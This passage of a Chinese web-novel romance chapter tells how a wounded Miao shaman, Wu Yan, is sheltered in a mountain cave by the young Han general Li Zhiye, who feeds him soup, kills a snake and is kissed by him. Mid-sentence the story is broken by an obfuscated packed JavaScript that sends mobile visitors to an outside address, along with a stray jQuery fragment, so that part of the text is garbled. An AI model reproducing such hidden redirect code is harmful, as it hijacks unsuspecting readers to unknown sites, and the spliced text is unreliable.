话音刚落,巫厌就觉着身下一轻,没想到这汉家少年看着年纪小,力气还蛮大,直接将他打横抱起。
出来后,巫厌才发觉山上不对劲:
无量山是苗人神山,素日里宁静详和、人迹罕至,目所能及仅有皑皑白雪。
但此刻山巅冒着滚滚浓烟,四面刀枪兵戈之声不
歇,密集攒动的人头拧成一道道黑印,将圣洁的雪山切割成支离破碎的几块。
向阳一面的雪坡上,数行车辙印压覆过凌乱的马蹄印,被迫消融的雪水裹着硝石灰,缓慢流淌混入山径,将三叠泉水也整个搅黑。
巫厌抿了抿嘴,虚搭在小将军肩头的手慢慢攥紧,身体也因这一瞬的用力而微微颤抖起来。
只是,还未等他凝眸看清纵横在神山上的究竟是何方人马,眼前就猛然一暗,而后身上就被盖上了一袭袍子。
内衬有绒面的外袍还带着少年人偏高的体温,巫厌回神,正好对上小将军粲然的笑脸:“山里冷。”
说着,他还快走两步,找了块较高的山石借力,腾出手飞快地替巫厌拢紧了领子:
“攻山可能还有一会儿才结束的,正好天色晚了,我们先到附近休息一晚,明天雪小些,我再带哥哥下山。”
神山上夜风急,确实是稍有不慎就会被掩埋在深雪里,又看了眼山顶的浓烟,巫厌在心底叹了一口气,点点头松开了握紧的拳。
不过,他方才说……要在这附近休息?
巫厌狐疑地环顾四周,他在这山上生活了少说二十载,实不知这雪山上还有除神宫之外、第二处能落脚的地方。
又回头看看他们脱身的方向——那本是封闭的剑湖洞府,不知被何人用何物炸开个莫大的豁口。
“……”巫厌偷瞄了小将军一眼,所谓的休息一晚,不会是在山腰上临時凿个洞吧……?
显然,巫厌高估了自己对神山的了解,也低估了这位汉人小将军——
只见他在山中转了一小半圈,绕过片黑石滩后竟然找到个巫厌从不知晓的山洞。
而且洞内很干燥,不似山中其它洞穴内有地下暗河和林立的石钟乳,进深很浅,大概是……什么兽类的居所?
“是狼群废弃不用的旧窝,”小将军抱着他环顾一圈后双目亮晶晶,“我们运气不错!”
说着,他用脚在地面虚扫两下,将残存的碎石和枯草都扫到洞外后,才将巫厌轻轻放下。
“哥哥你在这等我一会,我去去就来。”他起身走两步,又想起什么似地返回,一把拎起一直跟着走的小狗推到巫厌身旁,“甜心,帮我照顾好哥哥,别乱跑、知道吗?”
看着他一本正经同小狗说话,而那小狗还在他话音落地后似模似样“汪”了一声,巫厌眨眨眼,没想到汉人里,也有这般通灵的。
小将军的身影很快设在渐急的风雪里,夕阳金辉落在雪峰顶,更将几道未散的浓烟染成艳红色。
巫厌靠在洞壁上微瞌双目,方才,这汉人提到了——攻山,再细想山径上的车辙印、雪坡上数量庞大的士兵……
虽说这些年边境上苗汉冲突不断,但多是汉人强虏他们的百姓为奴,少有苗人欺压汉人的事。
就算要打,也合该是他们先动手。
如今汉人这样不宣而战、奇袭攻打他们圣山,其中必定有他不知道的由头。
至于鸠波,他固然死有余辜,但他背后那些人想要圣蛊,定是不达目的誓不罢休。
巫厌掀开身上盖着的外袍,腹部的创口还在渗血,已经给新换的绷染红一块。
“……”他轻叹一声,撇撇嘴看向洞外翻飞的雪,眼底难得露出几许茫然之色。
护佑黎民、守护苗疆,这是他们历任大巫的职责,而今这副局面……
巫厌动动指节,口中长出一阵热气,仰头看着漆黑一片的洞顶只觉视线越来越模糊:
这汉人小将军还挺历害,第一次到圣山,就能在风雪中找到个栖身所在。
想来,从前也是在军中历练过,有些在山林野地里生存行军的经验,只是汉军在此時攻打苗疆……
是巧合?还是另有什么阴谋。
巫厌越想就觉得头越痛,身上也像被引燃般越来越热,眼前的一切都渐渐扭曲,洞壁融化一样缓慢流淌下来,压得他喘不上气。
失去意识前,他似乎听见了小狗爪子焦急刨地传来的唰唰声,中间还伴着嗷嗷兽鸣。
不过大概也许是他烧傻出现的错觉,小狗……又怎会发出狼嚎?
等巫厌再次醒来,山洞内已整个变了样:
中央的一块平地上用黑色碎石垒了个火塘,火塘内燃烧的枯枝噼波作响,一旁的热灰里还熏烘着一节枯竹,里面咕咚晃着水响。
不知何時返还的汉人小将军这会儿正背对着他在拧一叠巾帕。
直到他转过身,欲将淬过雪的帕子覆上他额头,巫厌的意识才在一句“哥哥你醒了”中终于回归。
“喝口水。”小将军取了那节竹筒凑过来。
巫厌双手都被压在外袍下,持续不歇的高热又叫他手脚酸软,浑身虚乏无力,干脆就着小将军的手轻抿。
“哥哥伤得重,刚才我已经换过一次药了。”看他缓过劲,小将军又笑着补充一句。
听他这么说,巫厌才发觉伤口好像没刚才那么难受了。
“正好今夜风雪大,这创口也不宜频繁挪动,再渗血就不好了。”
小将军放下竹筒,轻轻扶着巫厌找了个舒服的角度靠坐下:
“我叫李知野,来自西北灵武军。”
巫厌心里装着事,倚到洞壁上就望着洞外的风雪出神,听见小将军这话一時晃神,带着眉间郁色就看了过去:
“……?”
李知野眨眨眼,而后唇畔梨涡加深:“哥哥愁什么呢?”
话是这么问,但他好像也不是真要巫厌回答。
因为他说完后就那么蹲着近鸭子步蹭到巫厌身边,突然捉住他盖在袍下的双手。
也不知是否是受伤发热的关系,明明巫厌才是那个一直躺在山洞里避着风雪的,但他的手却比小将军凉许多,肌肤相贴時,甚至都有些被烫到。
意识到巫厌的瑟缩,小将军竟将他的双手笼到一起捂住,还认真蹉揉了两下:“别愁了,天塌下来有高个子顶着,伤会好的,事情也都会得到解决的。”
巫厌转头,洞内篝火明亮地洒满予少年的整张脸,摇曳光影更好地勾勒出了分明的校角,还有那对灿如繁星的眼眸。
盯着那双眼睛看了半尚,巫厌摇摇头收回视线:“你……倒没什么烦心事。”
“哪有?”小将军立刻拉下个苦爪脸,”我现在就有一桩顶顶烦恼的事。”
“什么?”
李知野瞄他一眼,故意双手托腮,摆出十分二十分的委屈样儿,“唉,我还不知道哥哥的名字——”
巫厌一愣,而小将军却趁机冲他挤挤眼睛扮了个鬼脸。被他这样一闹,巫厌多少哭笑不得,最终还是忍不住笑了下。
见他笑出来,小将军长舒一口气后也跟着展颜轻轻拍拍他手背后松开,“就是的,哥哥别愁了,天大的事情先养好身子,说不定睡一觉就云开雾散了呢?”
巫厌看着他,脸上笑意未散,却也在心底叹了句少年不识愁滋味。
“不过哥哥你先别忙睡,吃点东西,不然饿着肚子没体力,伤好得更慢。”
说完,他就起身跑出洞。就在巫厌以为他会弄些干粮过来時,却见小将军嘶哈嘶哈地捧进来一只冒着热气的瓷碗,还因为烫的缘故,不住换手摸耳垂。
等他演杂技般将那只瓷碗凑近放下,巫厌便闻到了一股扑面而来的鱼汤鲜香。
他有些讶异地略坐起身,果然瞧见那碗中澄白一汪,几片不知名香叶下,还卧着片挑过刺的鱼腩。
不等他缓过神,小将军又将一双齐好的筷子的递过来,也不说话,就那样笑盈盈看着他。
被这样期待的目光看着,巫厌无法,只得将双手从外袍下取出来,接筷子、端碗。
这只碗瞧着比一般的大,端起来也厚重些,应当是特制的,能更长久的保温还不那么烫手。
……等等?
巫厌猛然抬头,发现小将军正托腮冲他坏笑,被发现了也不慌,只露出颗尖尖的虎牙,“那不然、哥哥还拧眉犯愁呢!”
专门加厚过的瓷碗跟本不烫手,原来刚才他那般杂耍,只是为了……
巫厌睨他一眼摇摇头,夹起那块鱼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282888|182538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腩浅尝一口,鲜肉质细腻,咸谈也恰当得宜。
不得不承认,他在这座山上生存了二十载,还从不知这山中能有这样的鲜趣。
不过,巫厌捧着碗小口喝汤时,又疑惑地看了眼小将军:深山野地又是急行军,这人身上怎么又有盐还带着碗?
莫不是……在军中是个厨子?
但,也不对啊,巫厌半张脸都埋在那只大碗里,眨眼隔着碗沿看:现在汉军的战力这么强了吗?
区区一个厨子,就能以一敌十、干掉教中那么些叛党?
巫厌闭眼摇头,否定了这个猜想。
那边李知野一直在观瞧他的反应,这时忍不住笑了下,价佛看穿他心思般:“哥哥瞎想什么呢?这是我们灵武军中旧俗,从身上都带着的。”
说着,他从身边摸出个细长的小瓶子晃了晃:
“西北那种地方……没这些可不好挨,哥哥你肯定想不到。”
“那……”巫厌放下碗,“为什么来了?”
“昂?”李知野一時没反应过来,而后啊哈一声。“哥哥问我为什么入蜀吗?唉,这就说来话长了。”
如果没记错,汉人的“说来话长”是个托辞,即便巫厌有心打探,初相识的情况下……
“不过简单来讲,就是上头有调令,我父兄恰好都走不开,只好让我来了……”
就在巫厌准备闭口不谈时,小将军却主动开了口,不过他解释半句后又长长叹了口气:
“爹说有架打我才来的,哪知道来了小半个月,就光看军师跟王爷下棋了……”
他撇了撇嘴,而后眼睛又亮起来,“不过蜀中美食颇丰,人杰地灵,物产丰厚,且瞧着山青水秀,目之所及尽是绿色,水里有鱼,山中有兽,野味時鲜更是数不胜数,也难怪书里说这里‘水旱从人,不知饥馑’,是天府之国呢。”
“都怪军师要在城里浪费時间,还美其名日是了解当地的风土民情,我看他就是不务正业!”
说到这,他的话音戛然而止,巫厌等了等,抬头就对上小将军突然淬上寒光的双眼,甚至没等他反应,李知野就在瞬间拨剑向他扑来。
巫厌双手虽被汤碗占着,但遇着危险还是下意识抬手防备。没想小将军扑过来,却是将他连人带碗一并护在怀里,然后叮叮两声,挥剑斩在洞壁上。
顾不上溅了他们一身的汤汁,巫厌回头才看见他刚才倚靠的山壁上,不知何時爬来一条红腹墨纹蛇。
这种蛇在无量山中很常见,看着五彩斑斓、十分凶悍,但实际上食草,根本无毒无害。
如今这路过的可怜小东西被李知野一剑斩成两段、身体扭曲着挣扎两下,还是吐出蛇信走了。
“哥哥你没事儿吧?”小将军丢了剑,双手扶他肩,眼中尽是担忧,将他从上到下、从里到外仔仔细细检查了一遍,“毒蛇没伤到你吧?”
“我听说蜀中毒虫毒蛇遍布,先前没遇着还以为是传言不足信,没想到还真有……哎呀!”
他又见瓷碗打翻,忙取出帕子来擦,“没烫着你吧?对不起对不起,是我太急了,没能顾到……哥哥你疼不疼?”
巫厌愣愣地看着他,因为着急,小将军的眼尾竟都染上了几许薄红,
这么多年孤立于圣山之巅,作为大巫、被奉为神明,巫厌还从没有过这种体验:
明明不是他的错,小将军却悉数揽来,还一味担忧挂怀,哪怕他们仅有一面之缘。
再想想他悉心教导出来的那个白眼狼……
在这一瞬间,在摇曳火光下,映衬着洞外满山的雪,也不知是哪个神眨了他的眼,巫厌突然伸手搂住小将军、凑上去亲了下他的侧脸。
只一下,小将军就瞪大眼,看看他不可置信。
而巫厌忍笑,伸手用指尖蹭过他的眼尾,“不痛,我没事,谢谢。”
“还有,我叫巫厌。”
而刚才还能侃侃而谈的小将军,此刻却像是中了定身咒、僵在原地一动不动,仿佛变成了石像。
一直趴在火塘边假寐的小狗也觉察出主人的不对,它起身上前,伸出前爪扒拉两下李知野。
却见这尊雕像的脸,像是坠入染缸般越变越红。
艳得,甚至超过了洞内明亮的火焰。